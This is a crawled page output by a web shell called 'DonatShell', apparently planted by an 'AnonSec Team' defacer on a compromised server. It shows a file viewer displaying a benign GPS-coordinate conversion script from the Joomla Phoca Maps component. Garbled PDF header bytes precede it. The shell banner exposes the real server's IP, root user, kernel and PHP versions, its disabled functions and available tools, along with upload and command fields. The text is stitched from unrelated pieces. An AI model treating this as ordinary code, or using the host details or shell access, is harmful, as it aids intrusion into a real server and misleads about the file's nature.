%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/media/com_phocamaps/js/administrator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/media/com_phocamaps/js/administrator/coordinates.js
function setPMGPSLongitude(inputValue) {
	longitudeValue = convertPMGPS(inputValue, 'longitude');
	window.top.document.forms.adminForm.elements.gpslongitude.value = longitudeValue;
}
function setPMGPSLatitude(inputValue) {
	latitudeValue = convertPMGPS(inputValue, 'latitude');
	window.top.document.forms.adminForm.elements.gpslatitude.value = latitudeValue;
}

function setPMGPSLongitudeJForm(inputValue) {
	longitudeValue = convertPMGPS(inputValue, 'longitude');
	if (window.parent) window.parent.phocaSelectMap_jform_gpslongitude(longitudeValue);
}

function setPMGPSLatitudeJForm(inputValue) {
	latitudeValue = convertPMGPS(inputValue, 'latitude');
	if (window.parent) window.parent.phocaSelectMap_jform_gpslatitude(latitudeValue);
}

function convertPMGPS(inputValue, type) {
	var status		= 1;
	var cAbs		= 0;
	var vAbs		= 1000000000;
	var degree		= 0;
	var minute		= 0;
	var second		= 0;
	var gpsValue	= '';
	var degrees		= 180;
	var potc		= '';
	var ms			= 60;
	
	if (type == 'longitude') {
		degrees	= 180;
	}
	
	if (type == 'latitude') {
		degrees	= 90;
	}

	if(isNaN(inputValue)) {
		return '';
	}
	
	if(inputValue < 0) {
		status = -1;
	}
	
	cAbs = Math.abs(Math.round(vAbs * inputValue));

	if(cAbs > (vAbs * degrees)) {
		return '';
	}

	degree = status * Math.floor(cAbs/vAbs);
	minute = Math.floor(ms * ((cAbs/vAbs) - Math.floor(cAbs/vAbs)));
	second = ms * Math.floor(vAbs * ((ms * ((cAbs/vAbs) - Math.floor(cAbs/vAbs))) - Math.floor(ms * ((cAbs/vAbs) - Math.floor(cAbs/vAbs)))) ) / vAbs;
	
	second = Math.round(second * 1000)/1000;
	
	if (degree < 0) {
		if (type == 'longitude') {
			potc = 'W';
		}
		if (type == 'latitude') {
			potc = 'S';
		}
	} 
	if (degree > 0) {
		if (type == 'longitude') {
			potc = 'E';
		}
		if (type == 'latitude') {
			potc = 'N';
		}
	}
	gpsValue = Math.abs(degree) + '\u00b0' + '\u0020' + minute + '\u0027' + '\u0020' + second + '\u0022' + potc;

	//status = 1;

	return gpsValue;
}
/* utf-8 test ěščřžýáíé */

Anon7 - 2022
AnonSec Team